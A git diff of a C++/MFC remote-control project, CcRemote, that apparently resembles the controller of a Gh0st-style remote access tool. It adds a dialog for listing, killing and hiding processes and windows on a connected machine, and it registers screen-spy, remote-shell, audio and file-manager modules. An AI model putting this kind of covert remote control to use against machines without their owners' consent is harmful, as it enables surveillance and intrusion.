m_list_process_or_windows.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); //初始化 窗口管理的列表
|
||||
m_list_process_or_windows.InsertColumn(0, "PID", LVCFMT_LEFT, 50);
|
||||
m_list_process_or_windows.InsertColumn(1, "窗口名称", LVCFMT_LEFT, 300);
|
||||
m_list_process_or_windows.InsertColumn(2, "窗口状态", LVCFMT_LEFT, 300);
|
||||
ShowWindowsList();
|
||||
}
|
||||
AdjustList(); //各个列表的大小
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// 异常: OCX 属性页应返回 FALSE
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::ShowProcessList(void)
|
||||
{
|
||||
char *lpBuffer = (char *)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
|
||||
char *strExeFile;
|
||||
char *strProcessName;
|
||||
DWORD dwOffset = 0;
|
||||
CString str;
|
||||
m_list_process_or_windows.DeleteAllItems();
|
||||
//遍历发送来的每一个字符 数据结构 Id+进程名+0+完整名+0
|
||||
int i;
|
||||
for (i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++)
|
||||
{
|
||||
LPDWORD lpPID = LPDWORD(lpBuffer + dwOffset); //这里得到进程ID
|
||||
strExeFile = lpBuffer + dwOffset + sizeof(DWORD); //进程名就是ID之后的
|
||||
strProcessName = strExeFile + lstrlen(strExeFile) + 1; //完整名就是进程名之后的
|
||||
//数据结构构建巧妙
|
||||
|
||||
m_list_process_or_windows.InsertItem(i, strExeFile); //将得到的数据加入到列表当中
|
||||
str.Format("%5u", *lpPID);
|
||||
m_list_process_or_windows.SetItemText(i, 1, str);
|
||||
m_list_process_or_windows.SetItemText(i, 2, strProcessName);
|
||||
// ItemData 为进程ID
|
||||
m_list_process_or_windows.SetItemData(i, *lpPID);
|
||||
|
||||
dwOffset += sizeof(DWORD) + lstrlen(strExeFile) + lstrlen(strProcessName) + 2; //跳过这个数据结构 进入下一个循环
|
||||
}
|
||||
|
||||
str.Format("程序路径 / %d", i);
|
||||
LVCOLUMN lvc;
|
||||
lvc.mask = LVCF_TEXT;
|
||||
lvc.pszText = str.GetBuffer(0);
|
||||
lvc.cchTextMax = str.GetLength();
|
||||
m_list_process_or_windows.SetColumn(2, &lvc); //在列表中显示有多少个进程
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::OnKillprocess()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
CListCtrl *pListCtrl = NULL;
|
||||
if (m_list_process_or_windows.IsWindowVisible())
|
||||
pListCtrl = &m_list_process_or_windows;
|
||||
else if (m_list_process_or_windows.IsWindowVisible())
|
||||
pListCtrl = &m_list_process_or_windows;
|
||||
else
|
||||
return;
|
||||
|
||||
// TODO: Add your command handler code here
|
||||
//非配缓冲区
|
||||
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1 + (pListCtrl->GetSelectedCount() * 4));
|
||||
//加入结束进程的数据头
|
||||
lpBuffer[0] = COMMAND_KILLPROCESS;
|
||||
//显示警告信息
|
||||
char *lpTips = "警告: 终止进程会导致不希望发生的结果,\n"
|
||||
"包括数据丢失和系统不稳定。在被终止前,\n"
|
||||
"进程将没有机会保存其状态和数据。";
|
||||
CString str;
|
||||
if (pListCtrl->GetSelectedCount() > 1)
|
||||
{
|
||||
str.Format("%s确实\n想终止这%d项进程吗?", lpTips, pListCtrl->GetSelectedCount());
|
||||
}
|
||||
else
|
||||
{
|
||||
str.Format("%s确实\n想终止该项进程吗?", lpTips);
|
||||
}
|
||||
if (::MessageBox(m_hWnd, str, "进程结束警告", MB_YESNO | MB_ICONQUESTION) == IDNO)
|
||||
return;
|
||||
|
||||
DWORD dwOffset = 1;
|
||||
POSITION pos = pListCtrl->GetFirstSelectedItemPosition(); //iterator for the CListCtrl
|
||||
//得到要结束哪个进程
|
||||
while (pos) //so long as we have a valid POSITION, we keep iterating
|
||||
{
|
||||
int nItem = pListCtrl->GetNextSelectedItem(pos);
|
||||
DWORD dwProcessID = pListCtrl->GetItemData(nItem);
|
||||
memcpy(lpBuffer + dwOffset, &dwProcessID, sizeof(DWORD));
|
||||
dwOffset += sizeof(DWORD);
|
||||
}
|
||||
//发送数据到服务端到服务端查找COMMAND_KILLPROCESS这个数据头
|
||||
m_iocpServer->Send(m_pContext, lpBuffer, LocalSize(lpBuffer));
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
|
||||
void CSystemDlg::ShowWindowsList(void)
|
||||
{
|
||||
LPBYTE lpBuffer = (LPBYTE)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
|
||||
DWORD dwOffset = 0;
|
||||
char *lpTitle = NULL;
|
||||
//m_list_process.DeleteAllItems();
|
||||
bool isDel = false;
|
||||
do
|
||||
{
|
||||
isDel = false;
|
||||
for (int j = 0; j < m_list_process_or_windows.GetItemCount(); j++)
|
||||
{
|
||||
CString temp = m_list_process_or_windows.GetItemText(j, 2);
|
||||
CString restr = "隐藏";
|
||||
if (temp != restr)
|
||||
{
|
||||
m_list_process_or_windows.DeleteItem(j);
|
||||
isDel = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
} while (isDel);
|
||||
CString str;
|
||||
int i;
|
||||
for (i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++)
|
||||
{
|
||||
LPDWORD lpPID = LPDWORD(lpBuffer + dwOffset);
|
||||
lpTitle = (char *)lpBuffer + dwOffset + sizeof(DWORD);
|
||||
str.Format("%5u", *lpPID);
|
||||
m_list_process_or_windows.InsertItem(i, str);
|
||||
m_list_process_or_windows.SetItemText(i, 1, lpTitle);
|
||||
m_list_process_or_windows.SetItemText(i, 2, "显示"); //(d) 将窗口状态显示为 "显示"
|
||||
// ItemData 为窗口句柄
|
||||
m_list_process_or_windows.SetItemData(i, *lpPID); //(d)
|
||||
dwOffset += sizeof(DWORD) + lstrlen(lpTitle) + 1;
|
||||
}
|
||||
str.Format("窗口名称 / %d", i);
|
||||
LVCOLUMN lvc;
|
||||
lvc.mask = LVCF_TEXT;
|
||||
lvc.pszText = str.GetBuffer(0);
|
||||
lvc.cchTextMax = str.GetLength();
|
||||
m_list_process_or_windows.SetColumn(1, &lvc);
|
||||
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::OnRefreshpslist()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
if (m_list_process_or_windows.IsWindowVisible())
|
||||
GetProcessList();
|
||||
//if (m_list_windows.IsWindowVisible())
|
||||
//GetWindowsList();
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::OnNMRClickListProcess(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
{
|
||||
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
|
||||
// TODO: 在此添加控件通知处理程序代码
|
||||
CMenu popup;
|
||||
if (m_caseSyetemIs == TOKEN_PSLIST) //进程管理初始化列表
|
||||
{
|
||||
popup.LoadMenu(IDR_PSLIST);
|
||||
}
|
||||
else if (m_caseSyetemIs == TOKEN_WSLIST)
|
||||
{
|
||||
popup.LoadMenu(IDR_WINDOW_LIST);
|
||||
}
|
||||
CMenu* pM = popup.GetSubMenu(0);
|
||||
CPoint p;
|
||||
GetCursorPos(&p);
|
||||
|
||||
pM->TrackPopupMenu(TPM_LEFTALIGN, p.x, p.y, this);
|
||||
*pResult = 0;
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::OnReceiveComplete(void)
|
||||
{
|
||||
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
|
||||
{
|
||||
case TOKEN_PSLIST:
|
||||
ShowProcessList();
|
||||
break;
|
||||
case TOKEN_WSLIST:
|
||||
ShowWindowsList();
|
||||
break;
|
||||
//case TOKEN_DIALUPASS:
|
||||
//ShowDialupassList();
|
||||
//break;
|
||||
default:
|
||||
// 传输发生异常数据
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
void CSystemDlg::OnWindowClost()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE lpMsgBuf[20];
|
||||
CListCtrl *pListCtrl = NULL;
|
||||
pListCtrl = &m_list_process_or_windows;
|
||||
|
||||
int nItem = pListCtrl->GetSelectionMark();
|
||||
if (nItem >= 0)
|
||||
{
|
||||
ZeroMemory(lpMsgBuf, 20);
|
||||
lpMsgBuf[0] = COMMAND_WINDOW_CLOSE; //注意这个就是我们的数据头
|
||||
DWORD hwnd = pListCtrl->GetItemData(nItem); //得到窗口的句柄一同发送
|
||||
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
|
||||
m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::OnWindowHide()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE lpMsgBuf[20];
|
||||
CListCtrl *pListCtrl = NULL;
|
||||
pListCtrl = &m_list_process_or_windows;
|
||||
|
||||
int nItem = pListCtrl->GetSelectionMark();
|
||||
if (nItem >= 0)
|
||||
{
|
||||
ZeroMemory(lpMsgBuf, 20);
|
||||
lpMsgBuf[0] = COMMAND_WINDOW_TEST; //窗口处理数据头
|
||||
DWORD hwnd = pListCtrl->GetItemData(nItem); //得到窗口的句柄一同发送
|
||||
pListCtrl->SetItemText(nItem, 2, "隐藏"); //注意这时将列表中的显示状态为"隐藏"
|
||||
//这样在删除列表条目时就不删除该项了 如果删除该项窗口句柄会丢失 就永远也不能显示了
|
||||
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); //得到窗口的句柄一同发送
|
||||
DWORD dHow = SW_HIDE; //窗口处理参数 0
|
||||
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
|
||||
m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
}
|
||||
}
|
||||
|
||||
void CSystemDlg::OnWindowMax()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE lpMsgBuf[20];
|
||||
CListCtrl *pListCtrl = NULL;
|
||||
pListCtrl = &m_list_process_or_windows;
|
||||
|
||||
int nItem = pListCtrl->GetSelectionMark();
|
||||
if (nItem >= 0)
|
||||
{
|
||||
ZeroMemory(lpMsgBuf, 20);
|
||||
lpMsgBuf[0] = COMMAND_WINDOW_TEST; //同上
|
||||
DWORD hwnd = pListCtrl->GetItemData(nItem); //同上
|
||||
pListCtrl->SetItemText(nItem, 2, "显示"); //将状态改为显示
|
||||
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
|
||||
DWORD dHow = SW_MAXIMIZE; //同上
|
||||
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
|
||||
m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
|
||||
}
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::OnWindowMin()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE lpMsgBuf[20];
|
||||
CListCtrl *pListCtrl = NULL;
|
||||
pListCtrl = &m_list_process_or_windows;
|
||||
|
||||
int nItem = pListCtrl->GetSelectionMark();
|
||||
if (nItem >= 0)
|
||||
{
|
||||
ZeroMemory(lpMsgBuf, 20);
|
||||
lpMsgBuf[0] = COMMAND_WINDOW_TEST;
|
||||
DWORD hwnd = pListCtrl->GetItemData(nItem);
|
||||
pListCtrl->SetItemText(nItem, 2, "显示");
|
||||
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
|
||||
DWORD dHow = SW_MINIMIZE;
|
||||
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
|
||||
m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::OnWindowReturn()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE lpMsgBuf[20];
|
||||
CListCtrl *pListCtrl = NULL;
|
||||
pListCtrl = &m_list_process_or_windows;
|
||||
|
||||
int nItem = pListCtrl->GetSelectionMark();
|
||||
if (nItem >= 0)
|
||||
{
|
||||
ZeroMemory(lpMsgBuf, 20);
|
||||
lpMsgBuf[0] = COMMAND_WINDOW_TEST;
|
||||
DWORD hwnd = pListCtrl->GetItemData(nItem);
|
||||
pListCtrl->SetItemText(nItem, 2, "显示");
|
||||
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
|
||||
DWORD dHow = SW_RESTORE;
|
||||
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
|
||||
m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::OnWindowReflush()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
GetWindowsList();
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::GetWindowsList(void)
|
||||
{
|
||||
BYTE bToken = COMMAND_WSLIST;
|
||||
m_iocpServer->Send(m_pContext, &bToken, 1);
|
||||
}
|
||||
54
CcRemote/CcRemote/CSystemDlg.h
Normal file
54
CcRemote/CcRemote/CSystemDlg.h
Normal file
@@ -0,0 +1,54 @@
|
||||
#pragma once
|
||||
#include "include/IOCPServer.h"
|
||||
|
||||
// CSystemDlg 对话框
|
||||
|
||||
class CSystemDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CSystemDlg)
|
||||
|
||||
public:
|
||||
CSystemDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // 标准构造函数
|
||||
virtual ~CSystemDlg();
|
||||
|
||||
// 对话框数据
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_SYSTEM };
|
||||
#endif
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
CListCtrl m_list_process_or_windows;
|
||||
private:
|
||||
HICON m_hIcon;
|
||||
ClientContext* m_pContext;
|
||||
CIOCPServer* m_iocpServer;
|
||||
|
||||
BYTE m_caseSyetemIs; //用来区分窗口管理和进程管理
|
||||
private:
|
||||
void AdjustList(void);
|
||||
void GetProcessList(void);
|
||||
|
||||
|
||||
public:
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
afx_msg void OnClose();
|
||||
afx_msg void OnKillprocess();
|
||||
afx_msg void OnRefreshpslist();
|
||||
afx_msg void OnNMRClickListProcess(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
afx_msg void OnWindowClost();
|
||||
afx_msg void OnWindowHide();
|
||||
afx_msg void OnWindowMax();
|
||||
afx_msg void OnWindowMin();
|
||||
afx_msg void OnWindowReturn();
|
||||
afx_msg void OnWindowReflush();
|
||||
|
||||
void GetWindowsList(void);
|
||||
void OnReceiveComplete(void);
|
||||
void ShowProcessList(void);
|
||||
void ShowWindowsList(void);
|
||||
};
|
||||
@@ -26,6 +26,17 @@ CCcRemoteApp::CCcRemoteApp()
|
||||
// 支持重新启动管理器
|
||||
m_dwRestartManagerSupportFlags = AFX_RESTART_MANAGER_SUPPORT_RESTART;
|
||||
|
||||
//打开文件句柄,检查QQwry.dat是村存在,然后给publi变量设置BOOL值
|
||||
HANDLE hFile = CreateFile("QQwry.dat", 0, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
if (hFile != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
m_bIsQQwryExist = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
m_bIsQQwryExist = false;
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
// TODO: 在此处添加构造代码,
|
||||
// 将所有重要的初始化放置在 InitInstance 中
|
||||
}
|
||||
|
||||
@@ -9,7 +9,7 @@
|
||||
#endif
|
||||
|
||||
#include "resource.h" // 主符号
|
||||
|
||||
#include "IniFile.h"
|
||||
|
||||
// CCcRemoteApp:
|
||||
// 有关此类的实现,请参阅 CcRemote.cpp
|
||||
@@ -19,7 +19,8 @@ class CCcRemoteApp : public CWinApp
|
||||
{
|
||||
public:
|
||||
CCcRemoteApp();
|
||||
|
||||
bool m_bIsQQwryExist;
|
||||
CIniFile m_IniFile;//配置文件对象
|
||||
// 重写
|
||||
public:
|
||||
virtual BOOL InitInstance();
|
||||
|
||||
Binary file not shown.
@@ -38,7 +38,7 @@
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>Static</UseOfMfc>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
@@ -53,7 +53,7 @@
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>Static</UseOfMfc>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
@@ -76,12 +76,14 @@
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<OutDir>..\..\bin</OutDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<OutDir>..\..\bin</OutDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
@@ -91,12 +93,15 @@
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<AdditionalDependencies>..\..\common\zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
</Link>
|
||||
<Midl>
|
||||
<MkTypLibCompatible>false</MkTypLibCompatible>
|
||||
@@ -114,12 +119,14 @@
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>_WINDOWS;_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<AdditionalDependencies>..\..\common\zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
</Link>
|
||||
<Midl>
|
||||
<MkTypLibCompatible>false</MkTypLibCompatible>
|
||||
@@ -139,14 +146,18 @@
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_WINDOWS;NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>..\..\common\zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
<AdditionalOptions>/SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
<Midl>
|
||||
<MkTypLibCompatible>false</MkTypLibCompatible>
|
||||
@@ -166,14 +177,18 @@
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>_WINDOWS;NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>..\..\common\zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
<AdditionalOptions>/SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
<Midl>
|
||||
<MkTypLibCompatible>false</MkTypLibCompatible>
|
||||
@@ -187,32 +202,92 @@
|
||||
</ResourceCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\..\common\Audio.h" />
|
||||
<ClInclude Include="..\..\common\macros.h" />
|
||||
<ClInclude Include="CAudioDlg.h" />
|
||||
<ClInclude Include="CcRemote.h" />
|
||||
<ClInclude Include="CcRemoteDlg.h" />
|
||||
<ClInclude Include="CFileManagerDlg.h" />
|
||||
<ClInclude Include="FileTransferModeDlg.h" />
|
||||
<ClInclude Include="CScreenSpyDlg.h" />
|
||||
<ClInclude Include="CSettingDlg.h" />
|
||||
<ClInclude Include="CShellDlg.h" />
|
||||
<ClInclude Include="CSystemDlg.h" />
|
||||
<ClInclude Include="framework.h" />
|
||||
<ClInclude Include="include\Buffer.h" />
|
||||
<ClInclude Include="include\CpuUsage.h" />
|
||||
<ClInclude Include="include\IOCPServer.h" />
|
||||
<ClInclude Include="include\Mapper.h" />
|
||||
<ClInclude Include="IniFile.h" />
|
||||
<ClInclude Include="InputDlg.h" />
|
||||
<ClInclude Include="pch.h" />
|
||||
<ClInclude Include="PublicStruct.h" />
|
||||
<ClInclude Include="Resource.h" />
|
||||
<ClInclude Include="SEU_QQwry.h" />
|
||||
<ClInclude Include="targetver.h" />
|
||||
<ClInclude Include="TrueColorToolBar.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\..\common\Audio.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\CcMainDll\CcMainDll\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CAudioDlg.cpp" />
|
||||
<ClCompile Include="CcRemote.cpp" />
|
||||
<ClCompile Include="CcRemoteDlg.cpp" />
|
||||
<ClCompile Include="CFileManagerDlg.cpp" />
|
||||
<ClCompile Include="FileTransferModeDlg.cpp" />
|
||||
<ClCompile Include="CScreenSpyDlg.cpp" />
|
||||
<ClCompile Include="CSettingDlg.cpp" />
|
||||
<ClCompile Include="CShellDlg.cpp" />
|
||||
<ClCompile Include="CSystemDlg.cpp" />
|
||||
<ClCompile Include="include\Buffer.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="include\CpuUsage.cpp" />
|
||||
<ClCompile Include="include\IOCPServer.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="IniFile.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Use</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Use</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="InputDlg.cpp" />
|
||||
<ClCompile Include="pch.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="SEU_QQwry.cpp" />
|
||||
<ClCompile Include="TrueColorToolBar.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="CcRemote.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="res\1.cur" />
|
||||
<None Include="res\2.cur" />
|
||||
<None Include="res\3.cur" />
|
||||
<None Include="res\4.cur" />
|
||||
<None Include="res\CcRemote.rc2" />
|
||||
<None Include="res\dot.cur" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="res\audio.ico" />
|
||||
<Image Include="res\background_picture.bmp" />
|
||||
<Image Include="res\Bitmap_4.bmp" />
|
||||
<Image Include="res\Bitmap_5.bmp" />
|
||||
<Image Include="res\bmp00001.bmp" />
|
||||
<Image Include="res\CcRemote.ico" />
|
||||
<Image Include="res\cmdshell.ico" />
|
||||
<Image Include="res\system.ico" />
|
||||
<Image Include="res\toolbar1.bmp" />
|
||||
<Image Include="res\toolbar2.bmp" />
|
||||
<Image Include="res\ToolBar_Main.bmp" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
|
||||
@@ -13,6 +13,12 @@
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="重写控件">
|
||||
<UniqueIdentifier>{476b0088-5a08-4c04-af41-397f23c6743b}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="配置读取">
|
||||
<UniqueIdentifier>{8cd661d2-1faa-45d7-bb15-62aa4ca09e28}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="CcRemote.h">
|
||||
@@ -36,6 +42,57 @@
|
||||
<ClInclude Include="PublicStruct.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="TrueColorToolBar.h">
|
||||
<Filter>重写控件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="include\Buffer.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="include\CpuUsage.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="include\IOCPServer.h">
|
||||
<Filter>头文件</Filter>
|
